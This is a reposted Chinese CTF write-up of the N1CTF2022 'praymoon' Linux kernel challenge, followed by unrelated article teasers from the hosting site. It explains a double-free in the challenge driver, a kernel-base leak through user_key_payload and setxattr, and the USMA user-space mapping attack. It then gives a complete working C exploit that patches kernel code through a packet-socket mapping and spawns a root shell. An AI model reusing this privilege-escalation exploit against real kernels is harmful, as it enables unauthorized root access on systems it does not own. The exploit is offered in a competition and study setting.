【USMA】N1CTF2022-praymoon

前言

本题主要利用 USMA 解题,当然还有其他做法,暂时不表

程序分析

启动脚本就不看了,该开的保护都开了。看下文件系统初始化脚本:

#!/bin/shmkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
echo 1 > /proc/sys/vm/unprivileged_userfaultfdinsmod /praymoon.ko
chmod 666 /dev/seven
chmod 740 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsymspoweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/shumount /proc
umount /tmppoweroff -d 0  -f

可以看到,这里设置了  echo 1 > /proc/sys/vm/unprivileged_userfaultfd,这是因为该题目的内核版本为 5.18.10,而 userfaultfd 在 5.11 就限制了普通用户的使用,这也是给了我们一个做题的方向。

题目还给了配置文件:

CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_SHUFFLE_PAGE_ALLOCATOR=yCONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""CONFIG_MEMCG=y
CONFIG_MEMCG_SWAP=y
CONFIG_MEMCG_KMEM=yCONFIG_DEBUG_LIST=yCONFIG_HARDENED_USERCOPY=y

而驱动程序很简单,跟 d3kheap 差不多,给了一次 double free 的机会(但是由于开启了 SLAB_FREELIST_HARDENED,所以不能直接 double free),只是这里的大小是 0x200,更难利用了:

漏洞利用

首先我们得先去泄漏内核的基地址,常用的泄漏信息的结构体有 ldt_struct、msg_msg、user_key_payload,这里 ldt_struct 大小不满足,而非常可惜的是 msg_msg 是采用 GFP_KERNEL_ACCOUNT,而题目采用的是 GFP_KERNEL,并且开启了 MEMCG,所以这里堆块就是隔离的,所以 msg_msg 也就无法直接利用了。最后我们就只剩下 user_key_payload,幸运的是其分配采用的就是 GFP_KERNEL。

泄漏内核基地址

首先,构造 UAF:

1、add 分配一个堆块

2、dele 释放该堆块

3、分配 user_key_payload 占据该堆块

4、dele 再次释放该堆块

然后我们可以利用 setxattr 去修改 user_key_payload 的 datalen 字段。然后越界读一些数据,该数据中可能存在一个可用地址,笔者将其作为一个字典进行碰撞。经过测试,有较大的概率可以泄漏内核地址。

经过测试:

freelist pointer 存在堆块偏移为 33*8 的位置

并且使用 kfree 释放堆块,不会清空堆块内容

 提权

关于提权,一般而言有两者朴素的想法:

1、寻找具有函数指针的结构体,通过劫持函数指针去劫持程序执行流

2、利用任意读写原语去修改 cred

这里我们想要找到 0x200 大小的带有函数指针的结构体可不容易,当然可以大家会想到 pipe_buffer,可以 pipe_buffer 也带有 GFP_KERNEL_ACCOUNT。

这里利用 usma 即用户态映射攻击,贴了360的原文,大家可以看下:USMA:用户态映射攻击

exp 如下:

注:脚本不是很稳定,即 setxattr 可能拿不到 UAF 堆块,主要是脚本写的比较烂,但是不想改了

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void line(char *msg)
{printf("\033[34m\033[1m\n[*] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");sleep(5);exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");exit(EXIT_SUCCESS);
}void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}void register_userfaultfd(void* moniter_addr, void* handler)
{int uffd;pthread_t thr;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd == -1) err_exit("Failed to exec the syscall for __NR_userfaultfd");uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("Failed to exec ioctl for UFFDIO_API");uffdio_register.range.start = (unsigned long long)moniter_addr;uffdio_register.range.len = 0x1000;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("Failed to exec ioctl for UFDDIO_REGISTER");if (pthread_create(&thr, NULL, handler, (void*)uffd)) err_exit("Failed to exec pthread_create for userfaultfd");
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}char uffd_copy_src[0x1000];
void* handler_30(void* args)
{int uffd = (int)args;struct uffd_msg msg;struct uffdio_copy uffdio_copy;for (;;){struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) == -1) err_exit("Failed to exec poll for leak_handler");int res = read(uffd, &msg, sizeof(msg));if (res == 0) err_exit("EOF on userfaultfd for leak_handler");if (res == -1) err_exit("ERROR on userfaultfd for leak_handler");if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("INCORRET EVENT in leak_handler");info("==> userfaultfd to sleep(30) <==");sleep(30);uffdio_copy.src = uffd_copy_src;uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("Failed to exec ioctl for UFFDIO_COPY in leak_handler");}return NULL;
}void* edit_func(void* args)
{setxattr("/exp", "hacker", args, 0x200, 0);return NULL;
}int fd;
int key;
void add() { ioctl(fd, 0x5555, NULL); }
void dele() { ioctl(fd, 0x6666, NULL); }size_t check(size_t kernel_addr)
{size_t kernel_addrs[] = {0xffffffff829da760, 0xffffffff81780ae0, 0xffffffff81780ad0, 0xffffffff8143e280, 0xffffffff829b9320};size_t kernel_offset = -1;switch ((kernel_addr&0xfff)){case 0x760:kernel_offset = kernel_addr - kernel_addrs[0];break;case 0xae0:kernel_offset = kernel_addr - kernel_addrs[1];break;case 0xad0:kernel_offset = kernel_addr - kernel_addrs[2];break;case 0x280:kernel_offset = kernel_addr - kernel_addrs[3];break;case 0x320:kernel_offset = kernel_addr - kernel_addrs[4];break;default:kernel_offset = -1;break;}return kernel_offset;
}#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endifvoid init_namespace(void) {int fd;char buff[0x100];uid_t uid = getuid();gid_t gid = getgid();if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {puts("[X] unshare(CLONE_NEWUSER | CLONE_NEWNS)");exit(-1);}if (unshare(CLONE_NEWNET)) {puts("[X] unshare(CLONE_NEWNET)");exit(-1);}fd = open("/proc/self/setgroups", O_WRONLY);snprintf(buff, sizeof(buff), "deny");write(fd, buff, strlen(buff));close(fd);fd = open("/proc/self/uid_map", O_WRONLY);snprintf(buff, sizeof(buff), "0 %d 1", uid);write(fd, buff, strlen(buff));close(fd);fd = open("/proc/self/gid_map", O_WRONLY);snprintf(buff, sizeof(buff), "0 %d 1", gid);write(fd, buff, strlen(buff));close(fd);
}void packet_socket_rx_ring_init(int s, unsigned int block_size,unsigned int frame_size, unsigned int block_nr,unsigned int sizeof_priv, unsigned int timeout) {int v = TPACKET_V3;int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));if (rv < 0) {puts("[X] setsockopt(PACKET_VERSION)");exit(-1);}struct tpacket_req3 req;memset(&req, 0, sizeof(req));req.tp_block_size = block_size;req.tp_frame_size = frame_size;req.tp_block_nr = block_nr;req.tp_frame_nr = (block_size * block_nr) / frame_size;req.tp_retire_blk_tov = timeout;req.tp_sizeof_priv = sizeof_priv;req.tp_feature_req_word = 0;rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));if (rv < 0) {puts("setsockopt(PACKET_RX_RING)");exit(-1);}
}int packet_socket_setup(unsigned int block_size, unsigned int frame_size,unsigned int block_nr, unsigned int sizeof_priv, int timeout) {int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));if (s < 0) {puts("socket(AF_PACKET)");exit(-1);}packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,sizeof_priv, timeout);struct sockaddr_ll sa;memset(&sa, 0, sizeof(sa));sa.sll_family = PF_PACKET;sa.sll_protocol = htons(ETH_P_ALL);sa.sll_ifindex = if_nametoindex("lo");sa.sll_hatype = 0;sa.sll_pkttype = 0;sa.sll_halen = 0;int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));if (rv < 0) {puts("bind(AF_PACKET)");exit(-1);}return s;
}int alloc_pgv(int count, int size) {return packet_socket_setup(size, 2048, count, 0, 100);
}int main(int argc, char** argv, char** env)
{bind_core(0);int pipe_fd[2];pipe(pipe_fd);pid_t pid = fork();if (!pid){init_namespace();size_t kernel_offset;char buf[0x2000];char des[0x100];size_t attr[0x200/8];void* uffd_buf;int packet_fd;size_t res;pthread_t edit_thr1, edit_thr2;fd = open("/dev/seven", O_RDWR);if (fd < 0) err_exit("open dev file");uffd_buf = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);register_userfaultfd((char*)uffd_buf+0x1000, handler_30);attr[0] = attr[1] = 0;attr[2] = 0x2000;memset(buf, 'B', 0x200);add();dele();key = key_alloc("hacker", buf, 0x100);if (key < 0) err_exit("key_alloc");dele();setxattr("/exp", "hacker", attr, 0x200, 0);res = key_read(key, buf, 0x2000);hexx("key_read bytes", res);kernel_offset = -1;for (int i = 0; i < 0x2000/8; i++){size_t tmp = *(size_t*)(buf + i*8);if ((tmp > 0xffffffff00000000) && ((kernel_offset=check(tmp)) != -1) && ((kernel_offset&0xfff) == 0)) break;else kernel_offset = -1;}if (kernel_offset == -1) err_exit("Leak kernel offset");hexx("kernel_offset", kernel_offset);line("USMA ATTACK");packet_fd = alloc_pgv(33, 0x1000);key_revoke(key);for (int i = 0; i < 0x150 / 8; i++)*(size_t*)((char*)uffd_buf + 0x1000 - 0x150 + i*8) = 0xFFFFFFFF81086000 + kernel_offset;hexx("vm_insert_page addr", 0xFFFFFFFF81086000 + kernel_offset);pthread_create(&edit_thr1, NULL, edit_func, (char*)uffd_buf+0x1000-0x150);sleep(1);pthread_create(&edit_thr2, NULL, edit_func, (char*)uffd_buf+0x1000-0x150);sleep(1);char* page = (char*)mmap(NULL, 0x1000*33, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);page[0xFFFFFFFF81086FD8 - 0xFFFFFFFF81086000] = 0xeb;info("CHILD END!");write(pipe_fd[1], "A", 1);pause();} else if (pid < 0) {err_exit("fork");} else {char buf[1];read(pipe_fd[0], buf, 1);setresuid(0, 0, 0);hexx("UID", getuid());get_root_shell();info("PRAENT END!");}return 0;
}

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/166907.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JS加密/解密之闭包的运用

深入探讨JavaScript闭包的演变与应用 摘要&#xff1a; 本文将深入探讨JavaScript闭包的概念、特性以及其在实际开发中的应用。我们将从闭包的起源开始&#xff0c;探讨它在JavaScript编程中的重要性&#xff0c;并通过实例展示闭包在不同场景下的灵活应用。 引言 JavaScrip…

CSS3 渐变

CSS3 渐变可以让你在两个或多个指定的颜色之间显示平稳的过渡。 CSS3渐变有两种类型&#xff1a;线性渐变&#xff08;Linear Gradients&#xff09;和径向渐变&#xff08;Radial Gradients&#xff09;。 线性渐变&#xff08;Linear Gradients&#xff09;&#xff1a; 线性…

点击查看详情 | 网页版微信客户管理系统如何操作试用?

微信作为我们日常生活中最常用的社交应用之一&#xff0c;早已成为我们与朋友、家人和同事保持联系的重要工具&#xff0c;也是营销引流的重要平台。 通过微信营销&#xff0c;可以比较精准定向亲近用户。而微信的功能并没有很能满足做微信营销的人群&#xff0c;所以我们需要借…

linux复习笔记02(小滴课堂)

linux下输入输出错误重定向&#xff1a; 输入重定向&#xff1a;< 一个大于号是进行了覆盖。 两个大于号是追加。 输出重定向可以用于以后日志打印。 错误重定向&#xff1a; 错误重定向是不把信息打印到屏幕上而是打印到指定文件中去&#xff1a; 输出重定向其实是用的1…

基于TCP的RPC服务

TCP服务器上的RPC&#xff0c;通过创建一个服务器进程监听传入的tcp连接&#xff0c;并允许用户 通过此TCP流执行RPC命令 -module(tr_server). -author("chen"). -behaviour(gen_server).%% API -export([start_link/1,start_link/0,get_count/0,stop/0 ]).-export(…

Android问题笔记 - 关于SuperNotCalledException报错异常信息的解决方案

点击跳转>Unity3D特效百例点击跳转>案例项目实战源码点击跳转>游戏脚本-辅助自动化点击跳转>Android控件全解手册点击跳转>Scratch编程案例点击跳转>软考全系列 &#x1f449;关于作者 专注于Android/Unity和各种游戏开发技巧&#xff0c;以及各种资源分享&…

屏幕录像推荐:Apeaksoft Screen Recorder 中文 for mac

Apeaksoft Screen Recorder 是一款功能强大的屏幕录制软件&#xff0c;它允许用户在 Windows 和 Mac 系统上捕捉和录制屏幕活动。无论是记录游戏过程、创建教学视频、制作演示文稿还是捕捉在线流媒体内容&#xff0c;该软件都提供了丰富的功能和工具。 以下是 Apeaksoft Scree…

【c++Leetcode】141. Linked List Cycle

问题入口 思想&#xff1a;Floyds Tortoise and Hare 这个算法简单来说就是设置一个慢指针&#xff08;一次移动一个位置&#xff09;和一个快指针&#xff08;一次移动两个位置&#xff09;。在遍历过程中&#xff0c;如果慢指针和快指针都指向同一个元素&#xff0c;证明环…

JAVA基础-String StringBuffer 和 StringBuilder 类(9)

目录 String创建字符串字符串长度连接字符串创建格式化字符串String 方法 **StringBuilder**StringBuffer String 创建字符串 String s1 "Runoob"; // String 直接创建 String s2 "Runoob"; // String 直接创建 String s3 s…

C语言实现模拟 strcmp 字符串比较函数,实现字符串大小的比较

完整代码&#xff1a; // 模拟 strcmp 字符串比较函数&#xff0c;实现字符串大小的比较 #include<stdio.h> //strcmp函数是两个字符串自左向右逐个字符相比&#xff08;按 ASCII 值大小相比较&#xff09;&#xff0c;直到出现不同的字符或遇 \0 为止&#xff0c;如果字…

【RNA folding】RNA折叠算法与生物物理约束

文章目录 RNA折叠RNA folding representation1 DP for simple folds1.1 Nussinov Algorithm objective1.2 energy constraints1.3 The key idea of the algorithm 2 DP for stacking and complex foldsStochastic context free grammars 来自Manolis Kellis教授&#xff08;MIT…

进制转换(二进制、八进制、十进制、十六进制)

目录 一&#xff1a;十进制转换为二进制、八进制、十六进制 &#xff08;1&#xff09;整数转换 &#xff08;2&#xff09;小数转换 1&#xff09;十进制转二进制 2&#xff09;十进制转八进制 3&#xff09;十进制转十六进制 二&#xff1a;二进制、八进制、十六进制转…

安装Sentinel

大家好今天来安装Sentinel . 安装Sentinel 下载 : 大家可以选择相应版本(最新版本1.8.6) 官网下载地址 : Release v1.8.6 alibaba/Sentinel GitHub 链接&#xff1a;Sentinel_免费高速下载|百度网盘-分享无限制 (baidu.com) 提取码&#xff1a;8eh9 运行 : 将jar包放到任…

redis怎么设计一个高性能hash表

问题 redis 怎么解决的hash冲突问题 &#xff1f;redis 对于扩容rehash有什么优秀的设计&#xff1f; hash 目标是解决hash冲突&#xff0c;那什么是hash冲突呢&#xff1f; 实际上&#xff0c;一个最简单的 Hash 表就是一个数组&#xff0c;数组里的每个元素是一个哈希桶&…

EasyCVR视频汇聚平台显示有视频流但无法播放是什么原因?该如何解决?

视频汇聚/视频云存储/集中存储/视频监控管理平台EasyCVR能在复杂的网络环境中&#xff0c;将分散的各类视频资源进行统一汇聚、整合、集中管理&#xff0c;实现视频资源的鉴权管理、按需调阅、全网分发、云存储、智能分析等&#xff0c;视频智能分析平台EasyCVR融合性强、开放度…

【LeetCode 算法专题突破】滑动窗口(⭐)

文章目录 前言1. 长度最小的子数组题目描述代码 2. 无重复字符的最长子串题目描述代码 3. 最大连续1的个数 III题目描述代码 4. 将 x 减到 0 的最小操作数题目描述代码 5. 水果成篮题目描述代码 6. 找到字符串中所有字母异位词题目描述代码 7. 串联所有单词的子串题目描述代码 …

asp.net特色商品购物网站系统VS开发sqlserver数据库web结构c#编程Microsoft Visual Studio

一、源码特点 asp.net特色商品购物网站系统 是一套完善的web设计管理系统&#xff0c;系统采用mvc模式&#xff08;BLLDALENTITY&#xff09;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境为 vs2010&#xff0c;数据库为sqlserver2008&a…

动手实现H5仿原生app前进后退切换效果

动手实现H5仿原生app前进后退切换效果 前言 最近在优化H5页面&#xff0c;我注意到当开发完成的移动端H5页面嵌入到微信小程序或者原生app中时&#xff0c;当触发页面路由切换会与原生app看上去有点格格不入&#xff0c;因为H5页面<router-view>切换路由时是直接替换了…

网站、小程序常见布局样式记录

文章目录 &#x1f380;前言&#xff1a;&#x1f415;网页样式展示小程序&#xff1a;《携程网》&#x1f380;持续更新... &#x1f380;前言&#xff1a; 本篇博客会收藏一些作者见到的网页、小程序页面&#xff0c;目的是用来寻找制作项目网页页面的灵感&#xff0c;有需要…

【最短路径算法】一文掌握Dijkstra算法,详解与应用示例+代码

目录 1 Dijkstra算法 2 Dijkstra算法的步骤 3 Dijkstra算法python实现 4 Dijkstra算法应用示例详解 1 Dijkstra算法 Dijkstra算法&#xff08;迪杰斯特拉算法&#xff09;是一种用于在加权图中查找从一个起始节点到所有其他节点的最短路径的算法。该算法最初由荷兰计算机科…